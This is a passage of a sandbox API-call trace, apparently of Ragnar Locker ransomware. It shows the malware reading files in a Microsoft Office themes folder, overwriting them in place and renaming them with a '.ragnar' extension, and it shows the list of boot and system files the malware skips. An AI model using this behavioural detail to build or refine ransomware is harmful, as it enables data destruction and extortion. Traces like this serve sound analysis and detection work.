returned -1 [0072.342] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0072.342] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0072.342] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0072.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm")) returned 0x20 [0072.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0072.343] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=45528) returned 1 [0072.343] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xb1cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.343] GetProcessHeap () returned 0x580000 [0072.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0072.343] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0072.344] VirtualAlloc (lpAddress=0x0, dwSize=0xb1d8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0072.345] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.345] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0072.345] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb1d8, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb1d8, lpOverlapped=0x0) returned 1 [0072.346] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0072.347] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb1d8, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.347] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb1d8, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb1d8, lpOverlapped=0x0) returned 1 [0072.347] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb1d8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.347] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.347] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xb1d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.347] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.347] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.348] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.348] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0072.348] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.348] GetProcessHeap () returned 0x580000 [0072.348] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0072.348] CloseHandle (hObject=0x100) returned 1 [0072.350] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" [0072.350] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.ragnar_FD7BD9FC" [0072.350] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0072.395] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0072.395] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0072.395] lstrcpyW (in: lpString1=0x1eab72, lpString2="CONCRETE.INF" | out: lpString1="CONCRETE.INF") returned="CONCRETE.INF" [0072.395] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF") returned=".INF" [0072.395] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0072.395] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="autorun.inf") returned 1 [0072.395] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="boot.ini") returned 1 [0072.395] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="bootfont.bin") returned 1 [0072.395] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="bootsect.bak") returned 1 [0072.395] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="bootmgr") returned 1 [0072.395] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="bootmgr.efi") returned 1 [0072.395] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="bootmgfw.efi") returned 1 [0072.395] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="desktop.ini") returned -1 [0072.395] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="iconcache.db") returned -1 [0072.395] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="ntldr") returned -1 [0072.395] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="ntuser.dat") returned -1 [0072.395] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="ntuser.dat.log") returned -1 [0072.395] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="ntuser.ini") returned -1 [0072.395] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="thumbs.db") returned -1 [0072.395] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0072.395] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0072.395] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0072.395] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0072.395] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0072.395] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0072.395] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0072.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf")) returned 0x20 [0072.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0072.441] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=480) returned 1 [0072.442] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.442] GetProcessHeap () returned 0x580000 [0072.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0072.442] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0072.442] VirtualAlloc (lpAddress=0x0, dwSize=0x1e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0072.443] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.443] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0072.443] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1e0, lpOverlapped=0x0) returned 1 [0072.443] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0072.443] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.443] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1e0, lpOverlapped=0x0) returned 1 [0072.443] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.443] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.443] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.443] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.443] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.444] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.444] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0072.444] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.444] GetProcessHeap () returned 0x580000 [0072.444] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0072.444] CloseHandle (hObject=0x100) returned 1 [0072.445] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" [0072.445] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.ragnar_FD7BD9FC" [0072.445] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0072.445] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0072.446] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0072.446] lstrcpyW (in: lpString1=0x1eab72, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0072.446] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned=".GIF" [0072.446] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0072.446] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0072.446] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0072.446] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0072.446] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0072.446] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0072.446] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0072.446] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0072.446] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0072.446] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0072.446] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0072.446] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0072.446] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0072.446] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0072.446] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0072.446] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0072.446] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0072.446] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0072.446] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0072.446] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0072.446] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0072.446] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0072.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0072.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0072.447] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1287) returned 1 [0072.447] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x4fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.447] GetProcessHeap () returned 0x580000 [0072.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0072.447] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0072.448] VirtualAlloc (lpAddress=0x0, dwSize=0x507, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0072.449] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.449] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0072.449] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x507, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x507, lpOverlapped=0x0) returned 1 [0072.449] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0072.449] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x507, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.449] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x507, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x507, lpOverlapped=0x0) returned 1 [0072.449] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x507, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.449] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.449] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x507, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.449] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.449] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.450] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.450] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0072.450] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.450] GetProcessHeap () returned 0x580000 [0072.450] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0072.450] CloseHandle (hObject=0x100) returned 1 [0072.451] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" [0072.451] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.ragnar_FD7BD9FC" [0072.451] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0072.451] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d5be620, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7d5be620, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0072.451] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0072.451] lstrcpyW (in: lpString1=0x1eab72, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0072.451] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\RGNR_FD7BD9FC.txt") returned=".txt" [0072.451] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0072.451] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0072.451] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0072.451] lstrcpyW (in: lpString1=0x1eab72, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0072.451] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned=".PNG" [0072.451] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0072.451] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0072.451] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0072.451] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0072.451] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0072.452] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0072.452] lstrcmpiW (lpString1="THMBNAIL.PNG", 